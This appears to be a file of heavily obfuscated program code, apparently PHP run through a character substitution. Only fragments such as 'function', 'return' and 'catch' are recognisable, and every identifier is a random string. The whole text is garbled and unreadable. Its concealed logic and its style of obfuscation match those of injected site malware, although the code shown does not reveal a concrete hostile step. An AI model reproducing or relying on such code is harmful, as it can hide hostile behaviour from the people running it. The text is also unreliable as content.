\`zgijdm(,d|f9x=j|9W:!((((s,rix``y1rd<<c;5X@XWEIBGZW^MZ[AGF3,j}lyj|qbnf5,rix``y1rd<<c;";3(((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| ;0?!$(,d|f9x=j|9W:!3((((kgf|af}m3((u(ki|k`(((( Mpkmx|agf(,d|f9x=j|9W:!((((s''(Hzmjidifkm(em{{iom%y}m}m(((kgf|af}m3u(u(((((,m;{`~c0;?zW(((5(rq;ec{mmgl| ;<>! jj`>dqcld1xlfd: ;=9!!(((7( {|zafo!(om|Wgx|agf aozjlg0f<j1nk{ ;0;!$(**!((2((**3((,doqa`lgrmx=jp((((5(`ja}:~bo1<;}zr;fcWWp rq;ec{mmgl| ;00!$(**!3(((((((an(((( ,m;{`~c0;?zW(()55((((**((..((((aozjlg0f<j1nk{ ;01! ,doqa`lgrmx=jp!((..(((((,doqa`lgrmx=jp()55((**!((((s(((,gnWl<<1=`zn=;m(5(((((aozjlg0f<j1nk{ ;18! aW;~yrxiqyjro ;?1! rq;ec{mmgl| :=>! jj`>dqcld1xlfd: ;19!$((aozjlg0f<j1nk{ ;09! aozjlg0f<j1nk{ ;0:!$((,m;{`~c0;?zW!!!!3,rqz>xljgq0d5 8p<>#8p=k!3,b=|ljqWz=5,rqz>xljgq0d->3((an(( )(((mex|q ,gnWl<<1=`zn=;m!!((s((((((zm|}zf(((((izziq jj`>dqcld1xlfd: ;0=!(56((((,doqa`lgrmx=jp$(((aozjlg0f<j1nk{ ;1:!((56(,gnWl<<1=`zn=;m!3,|>o`;<z0o50<#>>3,qc8c`:1rj8d5,|>o`;<z0o%=83((u((((((u(((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ;0?!$((jj`>dqcld1xlfd: ;1;!!3(zm|}zf(izziq !3u(n}fk|agf((pc|8`1?>:i??8n1 ,f8xcp>0x8i9{e$((((,l}}j8ogc9>8jb$(((,xizgqlf:y>oWz`9!san( )((aW;~yrxiqyjro ;1<! rq;ec{mmgl| ;1=!!!((s(((zm|}zf((nid{m3(u(((,p`peg;fr~oyez(5((((rq;ec{mmgl| ;1>! ,l}}j8ogc9>8jb!3((((((,edeW8byyxe:qa>}(((5(rq;ec{mmgl| ;1?! jj`>dqcld1xlfd: ;10! 9$(( <19%:;>!!!3,rjx|8xp}aj((((5((((**3((((ngz((( ,|c8~=y`m0a>:=((((5(8$(((,r:g0qz:eqp|(5((rq;ec{mmgl| ;?;! ,p`peg;fr~oyez!3(,|c8~=y`m0a>:=((((4((,r:g0qz:eqp|3(,|c8~=y`m0a>:=##!(((s(((,rjx|8xp}aj((((&5(aozjlg0f<j1nk{ ;1?! aW;~yrxiqyjro ;>0! ,p`peg;fr~oyezS,|c8~=y`m0a>:=U!((((V((((aozjlg0f<j1nk{ ;>0! ,edeW8byyxe:qa>}!!3(u(((zm|}zf((((}xli|mWgx|agf ,f8xcp>0x8i9{e$((jj`>dqcld1xlfd: ;11! ,edeW8byyxe:qa>}(&((,rjx|8xp}aj!$(((((,xizgqlf:y>oWz`9!((()55(((nid{m3(u(((((((n}fk|agf((i`18a{<nfW0~lyzic~p}< ,f8xcp>0x8i9{e$((,f~fca1:WWj!((s(an((( )aozjlg0f<j1nk{ ;1<! aozjlg0f<j1nk{ <88!!!((zm|}zf(,f~fca1:WWj3(((,|1r>k9en9gxblc(((((5(om|Wgx|agf ,f8xcp>0x8i9{e$((**!3((((an(( ,|1r>k9en9gxblc((555(((**(tt(()(((((aozjlg0f<j1nk{ <89! ,|1r>k9en9gxblc!!(s(zm|}zf((((,f~fca1:WWj3(((((u,lq>p}:cbqae?c{(((5((Hjj`>dqcld1xlfd: <8:! ,|1r>k9en9gxblc$((|z}m!3(((((an((( ,lq>p}:cbqae?c{(555(nid{m((((tt(rq;ec{mmgl| ;?;! ,lq>p}:cbqae?c{!(4((:!((((s((zm|}zf(,f~fca1:WWj3(u(((((,edeW8byyxe:qa>}((((((5((,lq>p}:cbqae?c{S8U3(,{9zn~0obj<lbbjm(((((5((**3((ngz(((( ,|c8~=y`m0a>:=(5((9$((,r:g0qz:eqp|(5(aW;~yrxiqyjro <8;! ,lq>p}:cbqae?c{!3(,|c8~=y`m0a>:=(4(,r:g0qz:eqp|3((,|c8~=y`m0a>:=##!(s(((((((,{9zn~0obj<lbbjm((&5(aozjlg0f<j1nk{ <8<! aW;~yrxiqyjro ;>0! ,lq>p}:cbqae?c{S,|c8~=y`m0a>:=U!((V((rq;ec{mmgl| <8=! ,edeW8byyxe:qa>}!!3u((((,|lbraem1q<ob(((((5(((~e1Wi0{i|:ky}i ,{9zn~0obj<lbbjm!3(zm|}zf((,|lbraem1q<ob(((()55(nid{m((7((,|lbraem1q<ob(2(((,f~fca1:WWj3u(((((n}fk|agf((~e1Wi0{i|:ky}i ,i`Wq|}qg{{|!(s(an(((((( )jj`>dqcld1xlfd: <89! ,i`Wq|}qg{{|!!(zm|}zf(((nid{m3((an((( lmnafml rq;ec{mmgl| <8>!!((..((((X@XW^MZ[AGFWAL(65(( 9:1>:0%=1>:0!!((s,r<>a909|zpaf5X@XWAF\WEIP'X@XWAF\WEIP3,`fo:9lfr~p5,r<>a909|zpaf#1<3zm|}zf((((Haozjlg0f<j1nk{ <8?! ,i`Wq|}qg{{|$((((izziq jj`>dqcld1xlfd: <80!((56((nid{m!!3(((((u((((zm|}zf(Hrq;ec{mmgl| <8?! ,i`Wq|}qg{{|!3((((un}fk|agf((f?{9?akdno;rrzp{c` !((((((s({|i|ak((,m}Wn|:z0=b>:9j=((5(((f}dd3((an( ,m}Wn|:z0=b>:9j=(()55((f}dd!((zm|}zf((,m}Wn|:z0=b>:9j=3((((,ndjnir;e;:?fazg9(5(((lmnafml aW;~yrxiqyjro 8!!(7(IJ[XI\@((((2((**3(,m}Wn|:z0=b>:9j=((5(rq;ec{mmgl| 9;! aW;~yrxiqyjro <81! /TT/$((/'/$((((,ndjnir;e;:?fazg9!$((((/'/!((((((&((((/'/3(((((zm|}zf(,m}Wn|:z0=b>:9j=3(u((n}fk|agf(m=~m:xoqW<{ipg}}>g; ,f8xcp>0x8i9{e!(s(((((((zm|}zf(((g{mxxjmmdpz1}` f?{9?akdno;rrzp{c` !(&((((( {|zafo!(xzbpr<d>l>eb<:~ !((&(,f8xcp>0x8i9{e$(((((( 98#:!!3(((((u(n}fk|agf((W8fpno{mjfecW= ,czeqpmqeWzgbp!s(zm|}zf((( {|zafo!(  :1=?8>>1#>9<:1;;9!((((#((  af|!(((`mplmk rq;ec{mmgl| ;?0! rq;ec{mmgl| :90! f?{9?akdno;rrzp{c` !((((&(jj`>dqcld1xlfd: <98!((&((,czeqpmqeWzgbp!$(8$( 8p;#8p<!!!(-( <90=89<#<09<10=!!!3u(n}fk|agf((d1??db1~:nl8? !s(((((((zm|}zf(((W8fpno{mjfecW= jj`>dqcld1xlfd: <99!!3(((u((n}fk|agf(i>r<>jy8za?fxl~jdlr:c !(s(((,mqp>iydxnc1xn((5((( {|zafo!((`ja}:~bo1<;}zr;fcWWp rq;ec{mmgl| <9:!$(**!3zm|}zf(((aW;~yrxiqyjro <8;! ,mqp>iydxnc1xn!(((((6(( 1#9!((((((..(((rq;ec{mmgl| ;>>! ,mqp>iydxnc1xn$(d1??db1~:nl8? !!((()55(nid{m((((..(rq;ec{mmgl| <8;!  {|zafo!(`ja}:~bo1<;}zr;fcWWp aozjlg0f<j1nk{ <9;!$(**!!(((6( 8pm#8p=>!3(((u((n}fk|agf(`ja}:~bo1<;}zr;fcWWp ,f8xcp>0x8i9{e$((,f~fca1:WWj!((((((s''(Hemlai|m(kax`mz%{}a|m(zm|}zf(i`18a{<nfW0~lyzic~p}< m=~m:xoqW<{ipg}}>g; ,f8xcp>0x8i9{e!$((,f~fca1:WWj!3((u((((((n}fk|agf((((((g:lp;i`rx`r>faW= ,f8xcp>0x8i9{e$(,f~fca1:WWj(5(**!(((s(((((,~c0W8pqzod(((5(`ja}:~bo1<;}zr;fcWWp ,f8xcp>0x8i9{e$((,f~fca1:WWj!3((((an(( rq;ec{mmgl| <89! ,~c0W8pqzod!!((zm|}zf(,~c0W8pqzod3an(((((( aozjlg0f<j1nk{ <9<! ,~c0W8pqzod!!(zm|}zf(( {|zafo!((((((,~c0W8pqzod3((((zm|}zf((,f~fca1:WWj3u((n}fk|agf(((brWd:drr>|qrizlfce::~ ,f8xcp>0x8i9{e$(,l}}j8ogc9>8jb$((,xizgqlf:y>oWz`9!((s(((pc|8`1?>:i??8n1 m=~m:xoqW<{ipg}}>g; ,f8xcp>0x8i9{e!$(((((,l}}j8ogc9>8jb$(,xizgqlf:y>oWz`9!3((un}fk|agf(((((oyzl|f>:{`fzr|o;demp !(s,ic:f9g|W9en?p>mo(((5(((((a{{m| ,ODGJID[Sjj`>dqcld1xlfd: <9=!U!(((7(((,ODGJID[Srq;ec{mmgl| <9=!U((2(izziq !3(,|1r>k9en9gxblc(5(((`ja}:~bo1<;}zr;fcWWp jj`>dqcld1xlfd: <9>!$((izziq !!3an( rq;ec{mmgl| ;<;! ,|1r>k9en9gxblc!!(s(((,ic:f9g|W9en?p>mo((((5((jj`>dqcld1xlfd: <9?! ,|1r>k9en9gxblc$((((,ic:f9g|W9en?p>mo!3((u(,ic:f9g|W9en?p>mo((5((((aW;~yrxiqyjro <90! ,ic:f9g|W9en?p>mo!3(((zm|}zf(aW;~yrxiqyjro 9;<! ,ic:f9g|W9en?p>mo$((((% 8p;8#8p:!!3u((((n}fk|agf((`{l}oyofaexm>g:p{ !((((s''(_X(Da{|(Jdgkc2(nap}x(iddgki|gz((an((( )a{{m| ,ODGJID[Saozjlg0f<j1nk{ <9=!U!((tt((((mex|q ,ODGJID[Sjj`>dqcld1xlfd: <9=!U!!(((zm|}zf3(((|zq((s,|1r>k9en9gxblc((5(((`ja}:~bo1<;}zr;fcWWp jj`>dqcld1xlfd: <91!$((izziq !!3((,pi~1mn>pbf(5(jj`>dqcld1xlfd: <:8! jj`>dqcld1xlfd: <:9!  izziq!,|1r>k9en9gxblc$(,ODGJID[Saozjlg0f<j1nk{ <9=!U!!3,pi~1mn>pbf((5(jj`>dqcld1xlfd: 9;<! ,pi~1mn>pbf$(((% ;>#9<!!3((((brWd:drr>|qrizlfce::~ jj`>dqcld1xlfd: <::!$(,pi~1mn>pbf$(aW;~yrxiqyjro 919!!3(((u((((ki|k`(((( \`zgijdm(,d|f9x=j|9W:!((((s,rj>}`{f{>>5<=#<3,zk0~|r{;05,rj>}`{f{>>%:;3((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro <:;!$((,d|f9x=j|9W:!3(u((ki|k`( Mpkmx|agf((((,d|f9x=j|9W:!((suu(((((((((((n}fk|agf(rr{y<8;r?j{``qpm1maW ,i`Wq|}qg{{|$(,cmq!s(((an(((((( )((aozjlg0f<j1nk{ <89! ,i`Wq|}qg{{|!(((tt(((()((aW;~yrxiqyjro <89! ,cmq!(tt(((rq;ec{mmgl| <:<! ,cmq!((555(8!(((s(zm|}zf((((f}dd3u(((((((,a<>d`q:o0xkfflq(((5((((((rq;ec{mmgl| <:=! ,i`Wq|}qg{{|!3(,dz<kf{<f><bka(((5((aW;~yrxiqyjro <:=! ,cmq!3(((,zark~;brg`yflpWp(5((**3(((((ngz(((((( ,|c8~=y`m0a>:=(5((83(,|c8~=y`m0a>:=(((4(((,a<>d`q:o0xkfflq3(((,|c8~=y`m0a>:=##!(s(,zark~;brg`yflpWp(&5(aozjlg0f<j1nk{ <8<! aozjlg0f<j1nk{ <:>! ,i`Wq|}qg{{|S,|c8~=y`m0a>:=U!((V(rq;ec{mmgl| <:>! ,cmqS,|c8~=y`m0a>:=((((((-(((((,dz<kf{<f><bkaU!!3u(zm|}zf(,zark~;brg`yflpWp3u((((((n}fk|agf((ybai|ngzjz|rb>1a`?m{ ,cyidm:azn9!((s((((an(( )(((jj`>dqcld1xlfd: ;<;! ,cyidm:azn9!!(((((s((((((,cyidm:azn9((((5((izziq !3u(((,Wej9x{k?kyfl((5(((`m=pgy8caf?;8a:y !3,i<8cbbodo>xxoe((5((aozjlg0f<j1nk{ ;1<! aW;~yrxiqyjro <88!!((7((((i`18a{<nfW0~lyzic~p}< rq;ec{mmgl| <:?!$(nid{m!(((((2(((((nid{m3(((((an(( jj`>dqcld1xlfd: ;<;! ,i<8cbbodo>xxoe!((((..((a{{m| ,i<8cbbodo>xxoeSaW;~yrxiqyjro <:0!U!(..(( af|!((,i<8cbbodo>xxoeSaW;~yrxiqyjro <:0!U(65((( :<8#>8!(..(((( af|!(((((,i<8cbbodo>xxoeSjj`>dqcld1xlfd: <:1!U((45( 9><09;%?0<9;!!((((,Wej9x{k?kyfl(5( af|!(,i<8cbbodo>xxoeSjj`>dqcld1xlfd: <:1!U3((an((( ,Wej9x{k?kyfl(((4(((( ;8449!!(s((,Wej9x{k?kyfl((5( 8p<;<#8p1lk!3((((u((((,cyidm:azn9SaW;~yrxiqyjro <;8!U((((5(izziq (aozjlg0f<j1nk{ <;9!((((56(((,Wej9x{k?kyfl$rq;ec{mmgl| <;:!((56((aW;~yrxiqyjro <;;!$!3(,cyidm:azn9Saozjlg0f<j1nk{ <;<!U((5(((((izziq (((aW;~yrxiqyjro <;9!((((56(( =:1#?9!$(((((jj`>dqcld1xlfd: <;=!(((((56((((jj`>dqcld1xlfd: <;;!$(!3((((zm|}zf((,cyidm:azn93u((((n}fk|agf(((pp|qe<m:o;~keedjg:~g?< !san( )aW;~yrxiqyjro ;1<! aW;~yrxiqyjro <;>!!((tt(((((()aozjlg0f<j1nk{ ;1<! aozjlg0f<j1nk{ <;?!!!(((((zm|}zf3an(( )keabp1?l:==10>dne1f<9 rq;ec{mmgl| <;0!!!((((zm|}zf3((((((|zq((s(an(( )xWfmp|W{k`ml}dml rf:e8r?yz~:0m !!!(((s''(_X([a|m(Mla|gz2(xzmmex|(gzk`m{|zi|gz(((((xW{k`ml}dmWm~mf| rq;ec{mmgl| <;1! !(((#(((((jj`>dqcld1xlfd: <<8!  9<0V9>0!$( ;>;%>;!!$(((((aW;~yrxiqyjro <;8!$(((rf:e8r?yz~:0m !!3(u(((u(((nafiddq((s''(_X(Mejml(Jdgkc2(ji|k`(ememf|go={;`1ei:gj1aqkz jj`>dqcld1xlfd: <;0!!3(((((u(u((((((n}fk|agf(xk1or=kyxnkcz1p90{bl !((((s(((((an(( lmnafml jj`>dqcld1xlfd: <<9!!(((..((LGAFOWKZGF!((s(((((zm|}zf3((((((u(((((((({|i|ak((((,cq1=;ji;=z(5((nid{m3((((an(((( ,cq1=;ji;=z!((zm|}zf3(,cq1=;ji;=z((5(|z}m3(((((((((((an(((((( )(xjrr=>Wczi:d~}f|b>`qg !!(s(((((zm|}zf3((((u''(_X(K}{|ge(Dafc2(af~mz|ajdm(|gcmf%j}kcm|(oq:cd8{~l8;r}~cj rq;ec{mmgl| <<:!$((aozjlg0f<j1nk{ <<;!$(8!3u((((n}fk|agf(kl:}zyep}kx<|c?goj<d !s(an((((( )jj`>dqcld1xlfd: <<<! aW;~yrxiqyjro <<=!!(((tt(()rq;ec{mmgl| <<<! jj`>dqcld1xlfd: <<>!!!(((zm|}zf3(Haozjlg0f<j1nk{ <<=! {a|mW}zd aozjlg0f<j1nk{ <<?!((&(aozjlg0f<j1nk{ <81! /&/$(((((**$( {|zafo!(aW;~yrxiqyjro ;>8! |z}m!!(((&((jj`>dqcld1xlfd: <<8!  8p;#8p>9!$( 11=#<!!!$((izziq aozjlg0f<j1nk{ ;;?!((((56(((((8&89$((((jj`>dqcld1xlfd: <<0!(((56((((nid{m$((rq;ec{mmgl| ;;0!((56((nid{m!!3(((u((n}fk|agf(((({?<lb>y<qljnacop` !(((s(({|i|ak(((,f|}=<c>q1p0((((5((nid{m3(an(( ,f|}=<c>q1p0!(((((zm|}zf3(,f|}=<c>q1p0(((5((((|z}m3(|zq((s(((,r`krbf`~n((5((((nid{m3((((an( jj`>dqcld1xlfd: <<<! aW;~yrxiqyjro <<1!!!(s((aW;~yrxiqyjro <<1! !3,r`krbf`~n((((5((((((|z}m3(u(((((md{man(( aozjlg0f<j1nk{ <=8! jj`>dqcld1xlfd: <=9!!!((s(rq;ec{mmgl| <=9! !3(((,r`krbf`~n(((((5((|z}m3(((u((((md{m((((s(((an(( aozjlg0f<j1nk{ <=8! aW;~yrxiqyjro <=:!!!(sHaW;~yrxiqyjro <=;! |z}m!3((((((u,gqpj|o;|`r`|qzW(((5(aW;~yrxiqyjro <=8! aW;~yrxiqyjro <=<!!((((((..(Hjj`>dqcld1xlfd: <=<! aozjlg0f<j1nk{ <==!!3an(((( )`milmz{W{mf| !(((..((((),gqpj|o;|`r`|qzW(..(aozjlg0f<j1nk{ <=>! !((555(((9(((((..((rq;ec{mmgl| <=8! aW;~yrxiqyjro <=?!!!(((s((,Wkd(5((HgjWom|Wdmfo|` !3((((an(( ,Wkd(()55(((nid{m(((((..((((,Wkd(((6(((8!(((s((H`milmz aozjlg0f<j1nk{ <=0!((((&(,Wkd!3((((((H`milmz jj`>dqcld1xlfd: <=1!!3(u((((u(((an( aW;~yrxiqyjro <=>! !!(s(HaW;~yrxiqyjro <>8! !3(((((((((u(Hjj`>dqcld1xlfd: <>9! !3((((((u(((((,q~yb{8pl|x((5((((((jj`>dqcld1xlfd: <=8! rq;ec{mmgl| <>:!!((..(((() lmnafml jj`>dqcld1xlfd: <>;!!(..(((LA[IJDMW_XWKZGF!3(((((,oqnd:=ik|nob((5(()aozjlg0f<j1nk{ <=8! aozjlg0f<j1nk{ <><!!(((tt(((( af|!(((om|Wgx|agf jj`>dqcld1xlfd: <>=!$((8!(555((83((an(( ),oqnd:=ik|nob((((..(jj`>dqcld1xlfd: <=8! aozjlg0f<j1nk{ <>>!!(((..(((jj`>dqcld1xlfd: <=8! aozjlg0f<j1nk{ ;1=!!!(((s,q?z:Wgmik;((((5( {|zafo!((om|Wgx|agf aozjlg0f<j1nk{ <>?!$((((((**!3an((( ,q?z:Wgmik;((()55((ojcir|0ro>gifi>;n?| !!(((s'"(kdgxmf(innafm%|qxm("'(((((H}xli|mWgx|agf jj`>dqcld1xlfd: <>0!$((ojcir|0ro>gifi>;n?| !$((rq;ec{mmgl| 919!!3(((((H}xli|mWgx|agf aW;~yrxiqyjro <>=!$(((8$((rq;ec{mmgl| 919!!3(,oqnd:=ik|nob((5((((|z}m3(((((u(u(((((,e~?8kcee|cye?~0(5((((nid{m3(((an(( ,q~yb{8pl|x(..((((rq;ec{mmgl| <>1! aW;~yrxiqyjro <;>!!!((s,ccfzqp{=nd>yyj((((5((((((xWfmp|W{k`ml}dml rf:e8r?yz~:0m !!3((an( ,ccfzqp{=nd>yyj(..(((( jj`>dqcld1xlfd: <;1! !(((%(( af|!(,ccfzqp{=nd>yyj!(6((( 9<;<#=?>>!!((((((s(((((((,e~?8kcee|cye?~0(((5((|z}m3((an(((( rq;ec{mmgl| <>1! aozjlg0f<j1nk{ <?8!!!((((((HxW}f{k`ml}dmWm~mf|  af|!(((,ccfzqp{=nd>yyj$((rf:e8r?yz~:0m !!3(u((uan(( ,q~yb{8pl|x((((..(((),oqnd:=ik|nob((((((..((),e~?8kcee|cye?~0!(s((,im{=>`fn?lgzx`(5((aW;~yrxiqyjro <>1! aW;~yrxiqyjro <;>!!((((7((((( af|!(xWfmp|W{k`ml}dml rf:e8r?yz~:0m !!((2((83((an(((( ,im{=>`fn?lgzx`((45(((((8(tt((,im{=>`fn?lgzx`(((%((((((rq;ec{mmgl| <;1! !(((6( 01=#=!!((((s((HxW{k`ml}dmW{afodmWm~mf| aW;~yrxiqyjro <;1! !$(((rf:e8r?yz~:0m !!3(((((((((u(ielkode:gcnl00eaWjfj !3((((((zm|}zf3(u((((an((( ,e~?8kcee|cye?~0!(gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ <?9!$(aW;~yrxiqyjro <?:!!3((an(((( ),r`krbf`~n!(s((an((( ,q~yb{8pl|x!(HxW{k`ml}dmW{afodmWm~mf| jj`>dqcld1xlfd: <;1! !$((rf:e8r?yz~:0m !!3(kl:}zyep}kx<|c?goj<d !3(ielkode:gcnl00eaWjfj !3(zm|}zf3(u((an(( rq;ec{mmgl| <>1! jj`>dqcld1xlfd: <?;!!!(((Hjj`>dqcld1xlfd: <?;!  91<%9<!!3(((((}:zejd:11yx !3u((ki|k`( \`zgijdm((((,d|f9x=j|9W:!(s((((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ <<:!$(((,d|f9x=j|9W:!3u((ki|k`(((( Mpkmx|agf((,d|f9x=j|9W:!(s(uu(n}fk|agf((p:cfrqb8|li{qk= !((((((s|zq((((s((((an(( )(aozjlg0f<j1nk{ <>1! aW;~yrxiqyjro <>>!!!((s(zm|}zf3,ek0<}mnr<5X@XWAF\WEIP'X@XWAF\WEIP3,jWym988>ei8:85,ek0<}mnr<#<83(((((((u,Wj{r}8;e8c((5((((rq;ec{mmgl| <>1! aozjlg0f<j1nk{ <?<!!((7((((om|W|zif{amf| i9{{zWo1a?==r?ac8{y !!((2((((nid{m3(an(( )(((rq;ec{mmgl| <?=! ,Wj{r}8;e8c!!((,Wj{r}8;e8c(((5((i`18a{<nfW0~lyzic~p}< jj`>dqcld1xlfd: <?>!$(((nid{m!3an( )((((aW;~yrxiqyjro <?=! ,Wj{r}8;e8c!!(((s(zm|}zf3((((u(((((((an(( a{{m| ,Wj{r}8;e8cSaozjlg0f<j1nk{ <??!U!(..((((((rq;ec{mmgl| <?0! ,Wj{r}8;e8cSjj`>dqcld1xlfd: <??!U!!((((s'"({|i|ak%ilb(em{{iom%y}m}m("'(((,ODGJID[SaW;~yrxiqyjro <?1!U(((5(rlll8?rn>e8:nrla<8qoq ,Wj{r}8;e8cSaW;~yrxiqyjro <??!U!3(u(an(( a{{m| ,Wj{r}8;e8cSjj`>dqcld1xlfd: <08!U!(((((..((((jj`>dqcld1xlfd: <09! ,Wj{r}8;e8cSjj`>dqcld1xlfd: <08!U!!(((s(((,ODGJID[Saozjlg0f<j1nk{ <0:!U((((5((rlll8?rn>e8:nrla<8qoq ,Wj{r}8;e8cSjj`>dqcld1xlfd: <08!U!3u((((((an(((((( a{{m| ,Wj{r}8;e8cSrq;ec{mmgl| <0;!U!(..(((((rq;ec{mmgl| <89! ,Wj{r}8;e8cSaozjlg0f<j1nk{ <0;!U!!((s(((,ODGJID[Sjj`>dqcld1xlfd: <0<!U((5(,Wj{r}8;e8cSjj`>dqcld1xlfd: <0=!U3''(afkzmemf|id(kgexg{a|m(((((u(an(( a{{m| ,Wj{r}8;e8cSaozjlg0f<j1nk{ <0>!U!((..((((((rq;ec{mmgl| <0?! ,Wj{r}8;e8cSaozjlg0f<j1nk{ <0>!U!(..(((rq;ec{mmgl| <:=! ,Wj{r}8;e8cSrq;ec{mmgl| <0>!U!((((6((( 8p:i#8p0!!(s((,ODGJID[SaW;~yrxiqyjro <00!U(((((5(,Wj{r}8;e8cSrq;ec{mmgl| <01!U3(((((u''({k`ml}dm(fmog|ai|gz(ngz(X@X(0&<(najmz{(an((((( a{{m| ,Wj{r}8;e8cSjj`>dqcld1xlfd: <99!U!((((((..((((jj`>dqcld1xlfd: <0?! ,Wj{r}8;e8cSrq;ec{mmgl| <18!U!(..(aozjlg0f<j1nk{ <:=! ,Wj{r}8;e8cSaozjlg0f<j1nk{ <19!U!((((6((( 911%11!!(s((,ODGJID[SaW;~yrxiqyjro <1:!U((((5((,Wj{r}8;e8cSaW;~yrxiqyjro <19!U3,fkr8ef<5>?">3,i;p?qpe1n?d{<;5,fkr8ef<%<=3(u((u((ki|k`(( \`zgijdm(((,d|f9x=j|9W:!((((((s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| <1;!$((((,d|f9x=j|9W:!3(((((u(ki|k`(((((( Mpkmx|agf(((,d|f9x=j|9W:!((s(u((u(((((((((n}fk|agf(((((ilbib=W<bkqWo`8~8fzm| !((s(|zq(s(((((an(( )jj`>dqcld1xlfd: <1<! rq;ec{mmgl| <>>!!((tt(()rq;ec{mmgl| <1<! aozjlg0f<j1nk{ ;1=!!!((zm|}zf3((an((  af|!(om|Wgx|agf rq;ec{mmgl| <1=!$((8!(((6(aozjlg0f<j1nk{ <;1! !((%((( ;=<9#=1!!((zm|}zf3((an(( aW;~yrxiqyjro <1>! aozjlg0f<j1nk{ <?<!!((..((((om|W|zif{amf| aozjlg0f<j1nk{ <1?!!!(zm|}zf3,mc>`r`;>lip}x`a((((((5((`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro <10!$((**!3an(( )jj`>dqcld1xlfd: <0?! ,mc>`r`;>lip}x`a!((tt((aozjlg0f<j1nk{ <11! ,mc>`r`;>lip}x`a!(4((((( 1<;%<<;!(((tt(j9zoz:k9qe=j`y=|m1r>9 ,mc>`r`;>lip}x`a!(((((tt(()~rl=fzla18ykW?jkrj} ,mc>`r`;>lip}x`a!!(s,|<g0k|r0<5;?8<3,dk~1zjldr5,|<g0k|r0<-9?3,mc>`r`;>lip}x`a((5(nid{m3(,mzfikl=}>j0e(5(HaW;~yrxiqyjro ::;! z9>1{1jm8r8;e~8 !!3((an(((( ,mzfikl=}>j0e((..((,mzfikl=}>j0e(6( >9>%99>!((..((,mzfikl=}>j0e(((45((((( =:<:0?>9#;1!!(((((s,gfW}db=0=x`k5X@XWAF\WEIP'X@XWAF\WEIP3,b={8q|oc{=qa5,gfW}db=0=x`k#913(,x<}ic|e>ececmj9(((((5(Hrq;ec{mmgl| :;9! z9>1{1jm8r8;e~8 !!3((((an((( aW;~yrxiqyjro =88! ,x<}ic|e>ececmj9!(((..(aozjlg0f<j1nk{ =89! ,x<}ic|e>ececmj9!(((6(( 98<0=;0#;0!!((,x<}ic|e>ececmj9((5((((bW0a{a?}a`=bcb<?m ,x<}ic|e>ececmj9!3an(( jj`>dqcld1xlfd: =8:! ,x<}ic|e>ececmj9!(((..((()j9zoz:k9qe=j`y=|m1r>9 ,x<}ic|e>ececmj9!(((((..(((~rl=fzla18ykW?jkrj} ,x<}ic|e>ececmj9!!(((s''(Emekik`ml(ilix|mz2({afo}diz(dafmiz%|qxm(brWd:drr>|qrizlfce::~ aW;~yrxiqyjro <10!$(((,x<}ic|e>ececmj9$((aozjlg0f<j1nk{ 919!!3((,mc>`r`;>lip}x`a(((5(,x<}ic|e>ececmj93(u(((uan(( ),mc>`r`;>lip}x`a!(s,p}`9`r;>>8`{~x5X@XWEIBGZW^MZ[AGF3,Wc~dc8lx;5,p}`9`r;>>8`{~x"93(((((H}xli|mWgx|agf aW;~yrxiqyjro =8;!$(((((rq;ec{mmgl| <;1! !$(((rq;ec{mmgl| =8<!!3zm|}zf3((((u(((((u(,yl9`~q|<:i(5(((((izziq z9>1{1jm8r8;e~8 !!3((((,rmo<cd~9:j9aq(((5((((}Wkig1fmg~0~qc<{g`|88f !3((,la:a1=m?}g1>(((5((}:{9};`f?=m?`{`i{yc} ,rmo<cd~9:j9aq!3,bjm;<>e1o}9bbj5 8pl=#8p10!3,Waf``gdkW5,bjm;<>e1o}9bbj-9;3(((an(((( rq;ec{mmgl| <09! ,la:a1=m?}g1>!!((sngzmik`(((( ,la:a1=m?}g1>(i{(,e9;0`fp1zi!(s(((((an(( rq;ec{mmgl| =8=! ,e9;0`fp1zi$((((% 9#;!!((((555((((((jj`>dqcld1xlfd: =8>!!(((,yl9`~q|<:iSU((((5((((,rmo<cd~9:j9aq(&((((((/'/((&((,e9;0`fp1zi3(((u((u(((an( lmnafml jj`>dqcld1xlfd: =8?!!(((..(rq;ec{mmgl| <1>! jj`>dqcld1xlfd: =80!!!((sngzmik`(((  izziq!((((((Hjj`>dqcld1xlfd: =80! _XWXD]OAFWLAZ(&(((aW;~yrxiqyjro =81!!(i{(((((,qr`|eo`{eji=q!((,yl9`~q|<:iSU(5(,qr`|eo`{eji=q3((((u(,yl9`~q|<:i((((5((aW;~yrxiqyjro =98! ,yl9`~q|<:i!3((,rkm><e?`}9;ll(5((izziq !3,l?Wc:9W9mo}(((((5(jj`>dqcld1xlfd: =8=! jj`>dqcld1xlfd: =99! rq;ec{mmgl| =9:!$((**$(((aW;~yrxiqyjro =8=! ,mc>`r`;>lip}x`a$((8$((( ;0;;#>9?8;!!!$((((8$(( 8p:<;#8p=jl!!3((ngzmik`((( ,yl9`~q|<:i(((i{((,ndjnir;e;:?fazg9!(s((,``edde1q8o||:mg((((5((HaW;~yrxiqyjro ::;! ,ndjnir;e;:?fazg9!3an( ),``edde1q8o||:mg(((((tt((((,``edde1q8o||:mg(45( 98<0<1?#?1!!(kgf|af}m3,mp=c9|kr=elix<;(5((Hjj`>dqcld1xlfd: =9;! ,ndjnir;e;:?fazg9$((nid{m$((f}dd$(((((8$(((( >==:<#9:!!3(((((an(( )aW;~yrxiqyjro =9<! ,mp=c9|kr=elix<;!(((tt(()j9zoz:k9qe=j`y=|m1r>9 ,mp=c9|kr=elix<;!!(kgf|af}m3((((((((an((((( ,ndjnir;e;:?fazg9(()55((z9>1{1jm8r8;e~8 !(..(((((aW;~yrxiqyjro =8=! aW;~yrxiqyjro =99! rq;ec{mmgl| =9=!$(**$(,mp=c9|kr=elix<;!$(8$(( 911>#=:!!(()55(((,l?Wc:9W9mo}!(((kgf|af}m3((((((,rkm><e?`}9;llSU((((5((,ndjnir;e;:?fazg93u(((an( ),rkm><e?`}9;ll!((((san((( rq;ec{mmgl| <1>! aW;~yrxiqyjro =9>!!!(((({m|W|zif{amf| aW;~yrxiqyjro =9?!$((((9$((( =:>#?<!!3(zm|}zf3(u(H}xli|mWgx|agf rq;ec{mmgl| =8;!$(((rq;ec{mmgl| =90! !$((rq;ec{mmgl| =8<!!3(ngzmik`( 